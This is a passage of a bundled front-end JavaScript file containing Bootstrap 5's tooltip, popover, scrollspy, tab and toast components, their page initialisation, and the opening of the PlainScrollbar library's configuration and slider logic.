	    if (this._config.selector) {
	      this._config = { ...this._config,
	        trigger: 'manual',
	        selector: ''
	      };
	    } else {
	      this._fixTitle();
	    }
	  }
	  _fixTitle() {
	    const title = this._element.getAttribute('title');
	    const originalTitleType = typeof this._element.getAttribute('data-bs-original-title');
	    if (title || originalTitleType !== 'string') {
	      this._element.setAttribute('data-bs-original-title', title || '');
	      if (title && !this._element.getAttribute('aria-label') && !this._element.textContent) {
	        this._element.setAttribute('aria-label', title);
	      }
	      this._element.setAttribute('title', '');
	    }
	  }
	  _enter(event, context) {
	    context = this._initializeOnDelegatedTarget(event, context);
	    if (event) {
	      context._activeTrigger[event.type === 'focusin' ? TRIGGER_FOCUS : TRIGGER_HOVER] = true;
	    }
	    if (context.getTipElement().classList.contains(CLASS_NAME_SHOW$2) || context._hoverState === HOVER_STATE_SHOW) {
	      context._hoverState = HOVER_STATE_SHOW;
	      return;
	    }
	    clearTimeout(context._timeout);
	    context._hoverState = HOVER_STATE_SHOW;
	    if (!context._config.delay || !context._config.delay.show) {
	      context.show();
	      return;
	    }
	    context._timeout = setTimeout(() => {
	      if (context._hoverState === HOVER_STATE_SHOW) {
	        context.show();
	      }
	    }, context._config.delay.show);
	  }
	  _leave(event, context) {
	    context = this._initializeOnDelegatedTarget(event, context);
	    if (event) {
	      context._activeTrigger[event.type === 'focusout' ? TRIGGER_FOCUS : TRIGGER_HOVER] = context._element.contains(event.relatedTarget);
	    }
	    if (context._isWithActiveTrigger()) {
	      return;
	    }
	    clearTimeout(context._timeout);
	    context._hoverState = HOVER_STATE_OUT;
	    if (!context._config.delay || !context._config.delay.hide) {
	      context.hide();
	      return;
	    }
	    context._timeout = setTimeout(() => {
	      if (context._hoverState === HOVER_STATE_OUT) {
	        context.hide();
	      }
	    }, context._config.delay.hide);
	  }
	  _isWithActiveTrigger() {
	    for (const trigger in this._activeTrigger) {
	      if (this._activeTrigger[trigger]) {
	        return true;
	      }
	    }
	    return false;
	  }
	  _getConfig(config) {
	    const dataAttributes = Manipulator.getDataAttributes(this._element);
	    Object.keys(dataAttributes).forEach(dataAttr => {
	      if (DISALLOWED_ATTRIBUTES.has(dataAttr)) {
	        delete dataAttributes[dataAttr];
	      }
	    });
	    config = { ...this.constructor.Default,
	      ...dataAttributes,
	      ...(typeof config === 'object' && config ? config : {})
	    };
	    config.container = config.container === false ? document.body : getElement(config.container);
	    if (typeof config.delay === 'number') {
	      config.delay = {
	        show: config.delay,
	        hide: config.delay
	      };
	    }
	    if (typeof config.title === 'number') {
	      config.title = config.title.toString();
	    }
	    if (typeof config.content === 'number') {
	      config.content = config.content.toString();
	    }
	    typeCheckConfig(NAME$4, config, this.constructor.DefaultType);
	    if (config.sanitize) {
	      config.template = sanitizeHtml(config.template, config.allowList, config.sanitizeFn);
	    }
	    return config;
	  }
	  _getDelegateConfig() {
	    const config = {};
	    for (const key in this._config) {
	      if (this.constructor.Default[key] !== this._config[key]) {
	        config[key] = this._config[key];
	      }
	    }
	    return config;
	  }
	  _cleanTipClass() {
	    const tip = this.getTipElement();
	    const basicClassPrefixRegex = new RegExp(`(^|\\s)${this._getBasicClassPrefix()}\\S+`, 'g');
	    const tabClass = tip.getAttribute('class').match(basicClassPrefixRegex);
	    if (tabClass !== null && tabClass.length > 0) {
	      tabClass.map(token => token.trim()).forEach(tClass => tip.classList.remove(tClass));
	    }
	  }
	  _getBasicClassPrefix() {
	    return CLASS_PREFIX$1;
	  }
	  _handlePopperPlacementChange(popperData) {
	    const {
	      state
	    } = popperData;
	    if (!state) {
	      return;
	    }
	    this.tip = state.elements.popper;
	    this._cleanTipClass();
	    this._addAttachmentClass(this._getAttachment(state.placement));
	  }
	  _disposePopper() {
	    if (this._popper) {
	      this._popper.destroy();
	      this._popper = null;
	    }
	  }
	  static jQueryInterface(config) {
	    return this.each(function () {
	      const data = Tooltip.getOrCreateInstance(this, config);
	      if (typeof config === 'string') {
	        if (typeof data[config] === 'undefined') {
	          throw new TypeError(`No method named "${config}"`);
	        }
	        data[config]();
	      }
	    });
	  }
	}
	defineJQueryPlugin(Tooltip);
	const NAME$3 = 'popover';
	const DATA_KEY$3 = 'bs.popover';
	const EVENT_KEY$3 = `.${DATA_KEY$3}`;
	const CLASS_PREFIX = 'bs-popover';
	const Default$2 = { ...Tooltip.Default,
	  placement: 'right',
	  offset: [0, 8],
	  trigger: 'click',
	  content: '',
	  template: '<div class="popover" role="tooltip">' + '<div class="popover-arrow"></div>' + '<h3 class="popover-header"></h3>' + '<div class="popover-body"></div>' + '</div>'
	};
	const DefaultType$2 = { ...Tooltip.DefaultType,
	  content: '(string|element|function)'
	};
	const Event$1 = {
	  HIDE: `hide${EVENT_KEY$3}`,
	  HIDDEN: `hidden${EVENT_KEY$3}`,
	  SHOW: `show${EVENT_KEY$3}`,
	  SHOWN: `shown${EVENT_KEY$3}`,
	  INSERTED: `inserted${EVENT_KEY$3}`,
	  CLICK: `click${EVENT_KEY$3}`,
	  FOCUSIN: `focusin${EVENT_KEY$3}`,
	  FOCUSOUT: `focusout${EVENT_KEY$3}`,
	  MOUSEENTER: `mouseenter${EVENT_KEY$3}`,
	  MOUSELEAVE: `mouseleave${EVENT_KEY$3}`
	};
	const SELECTOR_TITLE = '.popover-header';
	const SELECTOR_CONTENT = '.popover-body';
	class Popover extends Tooltip {
	  static get Default() {
	    return Default$2;
	  }
	  static get NAME() {
	    return NAME$3;
	  }
	  static get Event() {
	    return Event$1;
	  }
	  static get DefaultType() {
	    return DefaultType$2;
	  }
	  isWithContent() {
	    return this.getTitle() || this._getContent();
	  }
	  setContent(tip) {
	    this._sanitizeAndSetContent(tip, this.getTitle(), SELECTOR_TITLE);
	    this._sanitizeAndSetContent(tip, this._getContent(), SELECTOR_CONTENT);
	  }
	  _getContent() {
	    return this._resolvePossibleFunction(this._config.content);
	  }
	  _getBasicClassPrefix() {
	    return CLASS_PREFIX;
	  }
	  static jQueryInterface(config) {
	    return this.each(function () {
	      const data = Popover.getOrCreateInstance(this, config);
	      if (typeof config === 'string') {
	        if (typeof data[config] === 'undefined') {
	          throw new TypeError(`No method named "${config}"`);
	        }
	        data[config]();
	      }
	    });
	  }
	}
	defineJQueryPlugin(Popover);
	const NAME$2 = 'scrollspy';
	const DATA_KEY$2 = 'bs.scrollspy';
	const EVENT_KEY$2 = `.${DATA_KEY$2}`;
	const DATA_API_KEY$1 = '.data-api';
	const Default$1 = {
	  offset: 10,
	  method: 'auto',
	  target: ''
	};
	const DefaultType$1 = {
	  offset: 'number',
	  method: 'string',
	  target: '(string|element)'
	};
	const EVENT_ACTIVATE = `activate${EVENT_KEY$2}`;
	const EVENT_SCROLL = `scroll${EVENT_KEY$2}`;
	const EVENT_LOAD_DATA_API = `load${EVENT_KEY$2}${DATA_API_KEY$1}`;
	const CLASS_NAME_DROPDOWN_ITEM = 'dropdown-item';
	const CLASS_NAME_ACTIVE$1 = 'active';
	const SELECTOR_DATA_SPY = '[data-bs-spy="scroll"]';
	const SELECTOR_NAV_LIST_GROUP$1 = '.nav, .list-group';
	const SELECTOR_NAV_LINKS = '.nav-link';
	const SELECTOR_NAV_ITEMS = '.nav-item';
	const SELECTOR_LIST_ITEMS = '.list-group-item';
	const SELECTOR_LINK_ITEMS = `${SELECTOR_NAV_LINKS}, ${SELECTOR_LIST_ITEMS}, .${CLASS_NAME_DROPDOWN_ITEM}`;
	const SELECTOR_DROPDOWN$1 = '.dropdown';
	const SELECTOR_DROPDOWN_TOGGLE$1 = '.dropdown-toggle';
	const METHOD_OFFSET = 'offset';
	const METHOD_POSITION = 'position';
	class ScrollSpy extends BaseComponent {
	  constructor(element, config) {
	    super(element);
	    this._scrollElement = this._element.tagName === 'BODY' ? window : this._element;
	    this._config = this._getConfig(config);
	    this._offsets = [];
	    this._targets = [];
	    this._activeTarget = null;
	    this._scrollHeight = 0;
	    EventHandler.on(this._scrollElement, EVENT_SCROLL, () => this._process());
	    this.refresh();
	    this._process();
	  }
	  static get Default() {
	    return Default$1;
	  }
	  static get NAME() {
	    return NAME$2;
	  }
	  refresh() {
	    const autoMethod = this._scrollElement === this._scrollElement.window ? METHOD_OFFSET : METHOD_POSITION;
	    const offsetMethod = this._config.method === 'auto' ? autoMethod : this._config.method;
	    const offsetBase = offsetMethod === METHOD_POSITION ? this._getScrollTop() : 0;
	    this._offsets = [];
	    this._targets = [];
	    this._scrollHeight = this._getScrollHeight();
	    const targets = SelectorEngine.find(SELECTOR_LINK_ITEMS, this._config.target);
	    targets.map(element => {
	      const targetSelector = getSelectorFromElement(element);
	      const target = targetSelector ? SelectorEngine.findOne(targetSelector) : null;
	      if (target) {
	        const targetBCR = target.getBoundingClientRect();
	        if (targetBCR.width || targetBCR.height) {
	          return [Manipulator[offsetMethod](target).top + offsetBase, targetSelector];
	        }
	      }
	      return null;
	    }).filter(item => item).sort((a, b) => a[0] - b[0]).forEach(item => {
	      this._offsets.push(item[0]);
	      this._targets.push(item[1]);
	    });
	  }
	  dispose() {
	    EventHandler.off(this._scrollElement, EVENT_KEY$2);
	    super.dispose();
	  }
	  _getConfig(config) {
	    config = { ...Default$1,
	      ...Manipulator.getDataAttributes(this._element),
	      ...(typeof config === 'object' && config ? config : {})
	    };
	    config.target = getElement(config.target) || document.documentElement;
	    typeCheckConfig(NAME$2, config, DefaultType$1);
	    return config;
	  }
	  _getScrollTop() {
	    return this._scrollElement === window ? this._scrollElement.pageYOffset : this._scrollElement.scrollTop;
	  }
	  _getScrollHeight() {
	    return this._scrollElement.scrollHeight || Math.max(document.body.scrollHeight, document.documentElement.scrollHeight);
	  }
	  _getOffsetHeight() {
	    return this._scrollElement === window ? window.innerHeight : this._scrollElement.getBoundingClientRect().height;
	  }
	  _process() {
	    const scrollTop = this._getScrollTop() + this._config.offset;
	    const scrollHeight = this._getScrollHeight();
	    const maxScroll = this._config.offset + scrollHeight - this._getOffsetHeight();
	    if (this._scrollHeight !== scrollHeight) {
	      this.refresh();
	    }
	    if (scrollTop >= maxScroll) {
	      const target = this._targets[this._targets.length - 1];
	      if (this._activeTarget !== target) {
	        this._activate(target);
	      }
	      return;
	    }
	    if (this._activeTarget && scrollTop < this._offsets[0] && this._offsets[0] > 0) {
	      this._activeTarget = null;
	      this._clear();
	      return;
	    }
	    for (let i = this._offsets.length; i--;) {
	      const isActiveTarget = this._activeTarget !== this._targets[i] && scrollTop >= this._offsets[i] && (typeof this._offsets[i + 1] === 'undefined' || scrollTop < this._offsets[i + 1]);
	      if (isActiveTarget) {
	        this._activate(this._targets[i]);
	      }
	    }
	  }
	  _activate(target) {
	    this._activeTarget = target;
	    this._clear();
	    const queries = SELECTOR_LINK_ITEMS.split(',').map(selector => `${selector}[data-bs-target="${target}"],${selector}[href="${target}"]`);
	    const link = SelectorEngine.findOne(queries.join(','), this._config.target);
	    link.classList.add(CLASS_NAME_ACTIVE$1);
	    if (link.classList.contains(CLASS_NAME_DROPDOWN_ITEM)) {
	      SelectorEngine.findOne(SELECTOR_DROPDOWN_TOGGLE$1, link.closest(SELECTOR_DROPDOWN$1)).classList.add(CLASS_NAME_ACTIVE$1);
	    } else {
	      SelectorEngine.parents(link, SELECTOR_NAV_LIST_GROUP$1).forEach(listGroup => {
	        SelectorEngine.prev(listGroup, `${SELECTOR_NAV_LINKS}, ${SELECTOR_LIST_ITEMS}`).forEach(item => item.classList.add(CLASS_NAME_ACTIVE$1));
	        SelectorEngine.prev(listGroup, SELECTOR_NAV_ITEMS).forEach(navItem => {
	          SelectorEngine.children(navItem, SELECTOR_NAV_LINKS).forEach(item => item.classList.add(CLASS_NAME_ACTIVE$1));
	        });
	      });
	    }
	    EventHandler.trigger(this._scrollElement, EVENT_ACTIVATE, {
	      relatedTarget: target
	    });
	  }
	  _clear() {
	    SelectorEngine.find(SELECTOR_LINK_ITEMS, this._config.target).filter(node => node.classList.contains(CLASS_NAME_ACTIVE$1)).forEach(node => node.classList.remove(CLASS_NAME_ACTIVE$1));
	  }
	  static jQueryInterface(config) {
	    return this.each(function () {
	      const data = ScrollSpy.getOrCreateInstance(this, config);
	      if (typeof config !== 'string') {
	        return;
	      }
	      if (typeof data[config] === 'undefined') {
	        throw new TypeError(`No method named "${config}"`);
	      }
	      data[config]();
	    });
	  }
	}
	EventHandler.on(window, EVENT_LOAD_DATA_API, () => {
	  SelectorEngine.find(SELECTOR_DATA_SPY).forEach(spy => new ScrollSpy(spy));
	});
	defineJQueryPlugin(ScrollSpy);
	const NAME$1 = 'tab';
	const DATA_KEY$1 = 'bs.tab';
	const EVENT_KEY$1 = `.${DATA_KEY$1}`;
	const DATA_API_KEY = '.data-api';
	const EVENT_HIDE$1 = `hide${EVENT_KEY$1}`;
	const EVENT_HIDDEN$1 = `hidden${EVENT_KEY$1}`;
	const EVENT_SHOW$1 = `show${EVENT_KEY$1}`;
	const EVENT_SHOWN$1 = `shown${EVENT_KEY$1}`;
	const EVENT_CLICK_DATA_API = `click${EVENT_KEY$1}${DATA_API_KEY}`;
	const CLASS_NAME_DROPDOWN_MENU = 'dropdown-menu';
	const CLASS_NAME_ACTIVE = 'active';
	const CLASS_NAME_FADE$1 = 'fade';
	const CLASS_NAME_SHOW$1 = 'show';
	const SELECTOR_DROPDOWN = '.dropdown';
	const SELECTOR_NAV_LIST_GROUP = '.nav, .list-group';
	const SELECTOR_ACTIVE = '.active';
	const SELECTOR_ACTIVE_UL = ':scope > li > .active';
	const SELECTOR_DATA_TOGGLE = '[data-bs-toggle="tab"], [data-bs-toggle="pill"], [data-bs-toggle="list"]';
	const SELECTOR_DROPDOWN_TOGGLE = '.dropdown-toggle';
	const SELECTOR_DROPDOWN_ACTIVE_CHILD = ':scope > .dropdown-menu .active';
	class Tab extends BaseComponent {
	  static get NAME() {
	    return NAME$1;
	  }
	  show() {
	    if (this._element.parentNode && this._element.parentNode.nodeType === Node.ELEMENT_NODE && this._element.classList.contains(CLASS_NAME_ACTIVE)) {
	      return;
	    }
	    let previous;
	    const target = getElementFromSelector(this._element);
	    const listElement = this._element.closest(SELECTOR_NAV_LIST_GROUP);
	    if (listElement) {
	      const itemSelector = listElement.nodeName === 'UL' || listElement.nodeName === 'OL' ? SELECTOR_ACTIVE_UL : SELECTOR_ACTIVE;
	      previous = SelectorEngine.find(itemSelector, listElement);
	      previous = previous[previous.length - 1];
	    }
	    const hideEvent = previous ? EventHandler.trigger(previous, EVENT_HIDE$1, {
	      relatedTarget: this._element
	    }) : null;
	    const showEvent = EventHandler.trigger(this._element, EVENT_SHOW$1, {
	      relatedTarget: previous
	    });
	    if (showEvent.defaultPrevented || hideEvent !== null && hideEvent.defaultPrevented) {
	      return;
	    }
	    this._activate(this._element, listElement);
	    const complete = () => {
	      EventHandler.trigger(previous, EVENT_HIDDEN$1, {
	        relatedTarget: this._element
	      });
	      EventHandler.trigger(this._element, EVENT_SHOWN$1, {
	        relatedTarget: previous
	      });
	    };
	    if (target) {
	      this._activate(target, target.parentNode, complete);
	    } else {
	      complete();
	    }
	  }
	  _activate(element, container, callback) {
	    const activeElements = container && (container.nodeName === 'UL' || container.nodeName === 'OL') ? SelectorEngine.find(SELECTOR_ACTIVE_UL, container) : SelectorEngine.children(container, SELECTOR_ACTIVE);
	    const active = activeElements[0];
	    const isTransitioning = callback && active && active.classList.contains(CLASS_NAME_FADE$1);
	    const complete = () => this._transitionComplete(element, active, callback);
	    if (active && isTransitioning) {
	      active.classList.remove(CLASS_NAME_SHOW$1);
	      this._queueCallback(complete, element, true);
	    } else {
	      complete();
	    }
	  }
	  _transitionComplete(element, active, callback) {
	    if (active) {
	      active.classList.remove(CLASS_NAME_ACTIVE);
	      const dropdownChild = SelectorEngine.findOne(SELECTOR_DROPDOWN_ACTIVE_CHILD, active.parentNode);
	      if (dropdownChild) {
	        dropdownChild.classList.remove(CLASS_NAME_ACTIVE);
	      }
	      if (active.getAttribute('role') === 'tab') {
	        active.setAttribute('aria-selected', false);
	      }
	    }
	    element.classList.add(CLASS_NAME_ACTIVE);
	    if (element.getAttribute('role') === 'tab') {
	      element.setAttribute('aria-selected', true);
	    }
	    reflow(element);
	    if (element.classList.contains(CLASS_NAME_FADE$1)) {
	      element.classList.add(CLASS_NAME_SHOW$1);
	    }
	    let parent = element.parentNode;
	    if (parent && parent.nodeName === 'LI') {
	      parent = parent.parentNode;
	    }
	    if (parent && parent.classList.contains(CLASS_NAME_DROPDOWN_MENU)) {
	      const dropdownElement = element.closest(SELECTOR_DROPDOWN);
	      if (dropdownElement) {
	        SelectorEngine.find(SELECTOR_DROPDOWN_TOGGLE, dropdownElement).forEach(dropdown => dropdown.classList.add(CLASS_NAME_ACTIVE));
	      }
	      element.setAttribute('aria-expanded', true);
	    }
	    if (callback) {
	      callback();
	    }
	  }
	  static jQueryInterface(config) {
	    return this.each(function () {
	      const data = Tab.getOrCreateInstance(this);
	      if (typeof config === 'string') {
	        if (typeof data[config] === 'undefined') {
	          throw new TypeError(`No method named "${config}"`);
	        }
	        data[config]();
	      }
	    });
	  }
	}
	EventHandler.on(document, EVENT_CLICK_DATA_API, SELECTOR_DATA_TOGGLE, function (event) {
	  if (['A', 'AREA'].includes(this.tagName)) {
	    event.preventDefault();
	  }
	  if (isDisabled(this)) {
	    return;
	  }
	  const data = Tab.getOrCreateInstance(this);
	  data.show();
	});
	defineJQueryPlugin(Tab);
	const NAME = 'toast';
	const DATA_KEY = 'bs.toast';
	const EVENT_KEY = `.${DATA_KEY}`;
	const EVENT_MOUSEOVER = `mouseover${EVENT_KEY}`;
	const EVENT_MOUSEOUT = `mouseout${EVENT_KEY}`;
	const EVENT_FOCUSIN = `focusin${EVENT_KEY}`;
	const EVENT_FOCUSOUT = `focusout${EVENT_KEY}`;
	const EVENT_HIDE = `hide${EVENT_KEY}`;
	const EVENT_HIDDEN = `hidden${EVENT_KEY}`;
	const EVENT_SHOW = `show${EVENT_KEY}`;
	const EVENT_SHOWN = `shown${EVENT_KEY}`;
	const CLASS_NAME_FADE = 'fade';
	const CLASS_NAME_HIDE = 'hide';
	const CLASS_NAME_SHOW = 'show';
	const CLASS_NAME_SHOWING = 'showing';
	const DefaultType = {
	  animation: 'boolean',
	  autohide: 'boolean',
	  delay: 'number'
	};
	const Default = {
	  animation: true,
	  autohide: true,
	  delay: 5000
	};
	class Toast extends BaseComponent {
	  constructor(element, config) {
	    super(element);
	    this._config = this._getConfig(config);
	    this._timeout = null;
	    this._hasMouseInteraction = false;
	    this._hasKeyboardInteraction = false;
	    this._setListeners();
	  }
	  static get DefaultType() {
	    return DefaultType;
	  }
	  static get Default() {
	    return Default;
	  }
	  static get NAME() {
	    return NAME;
	  }
	  show() {
	    const showEvent = EventHandler.trigger(this._element, EVENT_SHOW);
	    if (showEvent.defaultPrevented) {
	      return;
	    }
	    this._clearTimeout();
	    if (this._config.animation) {
	      this._element.classList.add(CLASS_NAME_FADE);
	    }
	    const complete = () => {
	      this._element.classList.remove(CLASS_NAME_SHOWING);
	      EventHandler.trigger(this._element, EVENT_SHOWN);
	      this._maybeScheduleHide();
	    };
	    this._element.classList.remove(CLASS_NAME_HIDE);
	    reflow(this._element);
	    this._element.classList.add(CLASS_NAME_SHOW);
	    this._element.classList.add(CLASS_NAME_SHOWING);
	    this._queueCallback(complete, this._element, this._config.animation);
	  }
	  hide() {
	    if (!this._element.classList.contains(CLASS_NAME_SHOW)) {
	      return;
	    }
	    const hideEvent = EventHandler.trigger(this._element, EVENT_HIDE);
	    if (hideEvent.defaultPrevented) {
	      return;
	    }
	    const complete = () => {
	      this._element.classList.add(CLASS_NAME_HIDE);
	      this._element.classList.remove(CLASS_NAME_SHOWING);
	      this._element.classList.remove(CLASS_NAME_SHOW);
	      EventHandler.trigger(this._element, EVENT_HIDDEN);
	    };
	    this._element.classList.add(CLASS_NAME_SHOWING);
	    this._queueCallback(complete, this._element, this._config.animation);
	  }
	  dispose() {
	    this._clearTimeout();
	    if (this._element.classList.contains(CLASS_NAME_SHOW)) {
	      this._element.classList.remove(CLASS_NAME_SHOW);
	    }
	    super.dispose();
	  }
	  _getConfig(config) {
	    config = { ...Default,
	      ...Manipulator.getDataAttributes(this._element),
	      ...(typeof config === 'object' && config ? config : {})
	    };
	    typeCheckConfig(NAME, config, this.constructor.DefaultType);
	    return config;
	  }
	  _maybeScheduleHide() {
	    if (!this._config.autohide) {
	      return;
	    }
	    if (this._hasMouseInteraction || this._hasKeyboardInteraction) {
	      return;
	    }
	    this._timeout = setTimeout(() => {
	      this.hide();
	    }, this._config.delay);
	  }
	  _onInteraction(event, isInteracting) {
	    switch (event.type) {
	      case 'mouseover':
	      case 'mouseout':
	        this._hasMouseInteraction = isInteracting;
	        break;
	      case 'focusin':
	      case 'focusout':
	        this._hasKeyboardInteraction = isInteracting;
	        break;
	    }
	    if (isInteracting) {
	      this._clearTimeout();
	      return;
	    }
	    const nextElement = event.relatedTarget;
	    if (this._element === nextElement || this._element.contains(nextElement)) {
	      return;
	    }
	    this._maybeScheduleHide();
	  }
	  _setListeners() {
	    EventHandler.on(this._element, EVENT_MOUSEOVER, event => this._onInteraction(event, true));
	    EventHandler.on(this._element, EVENT_MOUSEOUT, event => this._onInteraction(event, false));
	    EventHandler.on(this._element, EVENT_FOCUSIN, event => this._onInteraction(event, true));
	    EventHandler.on(this._element, EVENT_FOCUSOUT, event => this._onInteraction(event, false));
	  }
	  _clearTimeout() {
	    clearTimeout(this._timeout);
	    this._timeout = null;
	  }
	  static jQueryInterface(config) {
	    return this.each(function () {
	      const data = Toast.getOrCreateInstance(this, config);
	      if (typeof config === 'string') {
	        if (typeof data[config] === 'undefined') {
	          throw new TypeError(`No method named "${config}"`);
	        }
	        data[config](this);
	      }
	    });
	  }
	}
	enableDismissTrigger(Toast);
	defineJQueryPlugin(Toast);

	var bootstrap = /*#__PURE__*/Object.freeze({
		__proto__: null,
		Alert: Alert,
		Button: Button,
		Carousel: Carousel,
		Collapse: Collapse,
		Dropdown: Dropdown,
		Modal: Modal,
		Offcanvas: Offcanvas,
		Popover: Popover,
		ScrollSpy: ScrollSpy,
		Tab: Tab,
		Toast: Toast,
		Tooltip: Tooltip
	});

	var dropdownTriggerList = [].slice.call(document.querySelectorAll('[data-bs-toggle="dropdown"]'));
	dropdownTriggerList.map(function (dropdownTriggerEl) {
	  return new Dropdown(dropdownTriggerEl);
	});

	var tooltipTriggerList = [].slice.call(document.querySelectorAll('[data-bs-toggle="tooltip"]'));
	tooltipTriggerList.map(function (tooltipTriggerEl) {
	  var _ref, _tooltipTriggerEl$get;
	  var options = {
	    delay: {
	      show: 50,
	      hide: 50
	    },
	    html: (_ref = tooltipTriggerEl.getAttribute("data-bs-html") === "true") !== null && _ref !== void 0 ? _ref : false,
	    placement: (_tooltipTriggerEl$get = tooltipTriggerEl.getAttribute('data-bs-placement')) !== null && _tooltipTriggerEl$get !== void 0 ? _tooltipTriggerEl$get : 'auto'
	  };
	  return new Tooltip(tooltipTriggerEl, options);
	});

	var popoverTriggerList = [].slice.call(document.querySelectorAll('[data-bs-toggle="popover"]'));
	popoverTriggerList.map(function (popoverTriggerEl) {
	  var _ref, _popoverTriggerEl$get;
	  var options = {
	    delay: {
	      show: 50,
	      hide: 50
	    },
	    html: (_ref = popoverTriggerEl.getAttribute('data-bs-html') === "true") !== null && _ref !== void 0 ? _ref : false,
	    placement: (_popoverTriggerEl$get = popoverTriggerEl.getAttribute('data-bs-placement')) !== null && _popoverTriggerEl$get !== void 0 ? _popoverTriggerEl$get : 'auto'
	  };
	  return new Popover(popoverTriggerEl, options);
	});

	var switchesTriggerList = [].slice.call(document.querySelectorAll('[data-bs-toggle="switch-icon"]'));
	switchesTriggerList.map(function (switchTriggerEl) {
	  switchTriggerEl.addEventListener('click', function (e) {
	    e.stopPropagation();
	    switchTriggerEl.classList.toggle('active');
	  });
	});

	var EnableActivationTabsFromLocationHash = function EnableActivationTabsFromLocationHash() {
	  var locationHash = window.location.hash;
	  if (locationHash) {
	    var tabsList = [].slice.call(document.querySelectorAll('[data-bs-toggle="tab"]'));
	    var matchedTabs = tabsList.filter(function (tab) {
	      return tab.hash === locationHash;
	    });
	    matchedTabs.map(function (tab) {
	      new Tab(tab).show();
	    });
	  }
	};
	EnableActivationTabsFromLocationHash();

	var toastsTriggerList = [].slice.call(document.querySelectorAll('[data-bs-toggle="toast"]'));
	toastsTriggerList.map(function (toastTriggerEl) {
	  return new Toast(toastTriggerEl);
	});

	window.bootstrap = bootstrap;

}));


/***/ }),

/***/ 497:
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {

"use strict";
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   "default": () => (__WEBPACK_DEFAULT_EXPORT__)
/* harmony export */ });
/*!
 * PlainScrollbar JavaScript Library v1.0.0-rc.0
 * https://github.com/ewya/PlainScrollbar
 *
 * Copyright Kay Schewe <https://www.kayschewe.de>
 * Released under the MIT license
 * https://github.com/ewya/PlainScrollbar/blob/master/LICENSE
 */

/**
 * PlainScrollbar
 * @author Kay Schewe
 * @copyright 2019 - present
 * @param {object} customConfiguration
 * @constructor
 */
function PlainScrollbar(customConfiguration) {

	'use strict';

	var arrowElements = null,
		configuration = null,
		defaultConfiguration = {
			/**
			 * Configure that the scrollbar is always visible.
			 * @property {boolean} [alwaysVisible=true]
			 */
			alwaysVisible: true,

			/**
			 * Configure that the scrollbar has arrows on each end.
			 * An arrow click will move the slider by one item backward or forward.
			 * @property {boolean} [arrows=false]
			 */
			arrows: false,

			/**
			 * Configure the enabled state of the scrollbar.
			 * @property {boolean} [enabled=true]
			 */
			enabled: true,

			/**
			 * Configure that a click on the slider area will move the slider by the numberOfItems.visible backward
			 * or forward.
			 * @property {boolean} [movePageByPageOnAreaClick=true]
			 */
			movePageByPageOnAreaClick: true,

			/**
			 * Configure the number of items that should be considered.
			 * @property {{start: string|number, total: string|number, visible: string|number}} numberOfItems
			 */
			numberOfItems: {
				start: 0,
				total: 0,
				visible: 0
			},

			/**
			 * Configure the callback that should to be called if the scrollbar will change the scrollable state (i.e.
			 * can or cannot be scrolled). An "scrollable" event object is the sole callback function parameter.
			 * Parameter scrollable {{orientation: configuration.orientation, before: {boolean}, current: isScrollable}}.
			 * @property {function} [onScrollable=null] Example: function(scrollable){// Do something...}
			 */
			onScrollable: null,

			/**
			 * Configure the callback that should to be called if the scrollbar will change the slider and therefore
			 * the numberOfItems.start. A copy of the current numberOfItems object is the sole callback function parameter.
			 * @property {function} [onSet=null] Example: function(numberOfItems){// Do something...}
			 */
			onSet: null,

			/**
			 * Configure the scrollbar element, that must be a html5 container element (e.g. <div/>).
			 * @property {HTMLElement} scrollbarElement
			 */
			scrollbarElement: null,

			/**
			 * Configure the minimal size of the slider by px.
			 * @property {number} [sliderMinSize=20]
			 */
			sliderMinSize: 20,

			/**
			 * Configure the wheel speed factor.
			 * @property {number} [wheelSpeed=2]
			 */
			wheelSpeed: 2
		},
		eventTimeout = null,
		isEnabled = null,
		isScrollable = null,
		isSliderDrag = false,
		isWheel = null,
		maxAttribute = null,
		orientations = ['horizontal', 'vertical'],
		scrollbarElement = null,
		scrollbarElementDocument = null,
		scrollbarElementWindow = null,
		sliderAreaElement = null,
		sliderElement = null,
		sliderOffset = 0,
		valueAttribute = null;

	/** Private functions */

	/**
	 * Simple object extend function.
	 * @param obj
	 * @param src
	 * @returns {*}
	 */
	function extend(obj, src) {
		Object.keys(src).forEach(function (key) {
			obj[key] = src[key];
		});
		return obj;
	}

	/**
	 * Set the slider and execute the onSet callback.
	 * @param {{source: string, type: string, value: number}} data
	 * @param {boolean} [preventCallbackExecution=false] True prevents the execution of the callback (default is false).
	 */
	function setScrollbar(data, preventCallbackExecution) {

		// Test if data can be evaluated to set the slider.

		if (!data.hasOwnProperty('source')
			|| !data.hasOwnProperty('type')
			|| !data.hasOwnProperty('value')) {
			// TODO: types ;-)
			return false;
		}

		// Proceed setting slider value...

		var dataValue = (isNaN(data.value)) ? 0 : parseFloat(data.value),
			executeCallback = (preventCallbackExecution !== true);

		// First of all calculate newValue (sliderElement), isScrollable (scrollbarElement) and the new
		// configuration.numberOfItems.start.
		// Then apply the determined values and finally, the callbacks are executed if applicable.

		var sliderAreaSize = sliderAreaElement.getBoundingClientRect()[maxAttribute],
			itemSize = ((configuration.numberOfItems.total === 0)
				? 0
				: sliderAreaSize / configuration.numberOfItems.total),
			currentSliderSize = sliderElement.getBoundingClientRect()[maxAttribute],
			newSliderSize = Math.max(configuration.sliderMinSize, configuration.numberOfItems.visible * itemSize),
			currentValue = parseFloat(sliderElement.style[valueAttribute]),
			maxValue = Math.max(0, sliderAreaSize - newSliderSize),
			minValue = 0,
			newValue = currentValue;

		// Calculate newValue

		switch (data.type) {
			case 'delta':
				newValue = currentValue + dataValue;
				break;

			case 'x':
			case 'y':
				newValue = dataValue - ((isSliderDrag && sliderOffset) ? sliderOffset : 0);
				break;
		}

		if (newValue < minValue) {
			newValue = minValue;
		}
		if (newValue > maxValue) {
			newValue = maxValue;
		}

		// Calculate isScrollable
		isScrollable = (configuration.numberOfItems.total > configuration.numberOfItems.visible)
						&& (sliderAreaSize > configuration.sliderMinSize);

		// Calculate configuration.numberOfItems.start
		// Formula: start / value = (total - visible) / (sliderAreaSize - newSliderSize)
		configuration.numberOfItems.start = (0 === maxValue)
			? 0
			: (configuration.numberOfItems.total - configuration.numberOfItems.visible) / maxValue * newValue;

		// Apply sliderElement valueAttribute (left or top).
		if (currentValue !== newValue) {
			sliderElement.style[valueAttribute] = newValue + 'px';
		}

		// Apply sliderElement maxAttribute (height or width).
		if (currentSliderSize !== newSliderSize) {
			sliderElement.style[maxAttribute] = newSliderSize + 'px';
		}

